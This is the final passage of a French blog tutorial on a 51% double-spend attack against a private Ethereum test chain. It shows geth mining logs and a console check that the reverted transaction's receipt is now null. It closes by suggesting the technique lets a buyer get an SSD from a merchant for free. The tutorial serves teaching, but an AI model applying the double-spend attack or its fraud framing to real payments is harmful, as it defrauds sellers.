INFO [03-08|13:45:57.471] 🔨 mined potential block                  number=659 hash=615a0f…2e81e7
INFO [03-08|13:45:57.471] Commit new mining work                   number=660 sealhash=ceb40b…f1b31d uncles=0 txs=0 gas=0     fees=0       elapsed=349.797µs

Comme notre transaction était sur le block 466, il est normalement supprimé, vérifiez à nouveau la transaction à partir de la console de maliciousPerson :

Sur l’hôte maliciousPerson.

Commande :

geth --ipcpath geth.ipc --datadir maliciousPerson/data attach

Résultat des commandes dans la console :

Welcome to the Geth JavaScript console!

instance: Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
coinbase: 0x11f7d3ee650bac6f676d4fc51dbbe153d590bc8a
at block: 429 (Sun Mar 08 2020 13:43:07 GMT+0100 (CET))
 datadir: /root/blockchain_51/maliciousPerson/data
 modules: admin:1.0 debug:1.0 eth:1.0 ethash:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0

> web3.eth.getTransactionReceipt("0x2db31525f37ecfb38ef934c125ae9534a4889325142caa336b9acf8b112a5696")
null

Le bloc est maintenant nul, l’attaque est réussie !

Vous pouvez voir ici que vous avez acheté par exemple un SSD à un site marchand et que vous pouvez supprimer la transaction. Vous l’avez donc gratuitement !

Sources

Nous espèront que cet article vous aura plu, si vous avez des questions ou des remarques sur ce que nous avons pu écrire, n’hésitez pas à revenir vers nous !

Merci pour votre lecture et à bientôt !


0 commentaire

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.